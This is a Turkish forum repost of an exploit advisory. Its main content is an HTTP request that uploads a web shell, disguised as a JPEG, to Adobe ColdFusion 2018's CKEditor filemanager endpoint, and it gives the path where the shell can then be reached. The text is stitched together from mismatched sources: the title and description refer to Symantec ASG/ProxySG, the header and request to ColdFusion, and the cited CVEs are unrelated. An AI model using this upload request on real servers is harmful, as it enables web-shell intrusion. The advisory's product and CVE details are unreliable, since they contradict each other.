Hoşgeldin Misafir

Symantec Advanced Secure Gateway (ASG) / ProxySG - Unrestricted File Upload Vulnerabi

NasyoneL

NasyoneL

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25 Ağu 2017
25,060 Mesaj

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===========Security Intelligence============
# Vendor Homepage: adobe.com
# Version: 2018
# Tested on: Adobe ColdFusion 2018
# Exploit Author: Pankaj Kumar Thakur (Nepal)
 
==========[Table of Contents]==============
 * Overview
 * Detailed description
 * Thanks & Acknowledgements
 * References
  
==========[Vulnerability Information]========
 
 * Unrestricted file upload in Adobe ColdFusion 2018
 * CWE-434
 * Base Score: 6.8 MEDIUM 
 * Vector: AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:H
  
=========[ Overview]=========================
  
 * System Affected: Adobe ColdFusion 2018
 * Impact: Unrestricted file upload
  
=====[ Detailed description]=================
Unrestricted file upload vulnerability in the Symantec Advanced Secure Gateway (ASG) and ProxySG management consoles. A malicious appliance administrator can upload arbitrary malicious files to the management console and trick another administrator user into downloading and executing malicious code.
 
Request
 
POST /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/upload.cfm
HTTP/1.1
Host: hostname:portno
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:65.0) Gecko/20100101 Firefox/65.0
Content-Type: multipart/form-data;
Content-Length: 303
Connection: close
Upgrade-Insecure-Requests: 1
 
.
.
 
-----------------------------24464570528145
Content-Disposition: form-data; name="file"; filename="shell_file with extension"
Content-Type: image/jpeg
 
shell code
-----------------------------24464570528145
Content-Disposition: form-data; name="path"
.
.
After uploading shell, its located here
 
http://coldfusion:port/cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/uploadedFiles/shell_file with extension
 
=====[ Thanks & Acknowledgements]========================================
* Acknowledged by Adobe
* Duplicate
  
  
 * https://nvd.nist.gov/vuln/detail/CVE-2016-10258
 * https://www.cvedetails.com/cve/CVE-2016-1713/
 * https://www.openwall.com/lists/oss-security/2016/01/12/4
  
=====[ EOF ]===========================================================
 
#  0day.today [2019-09-22]  #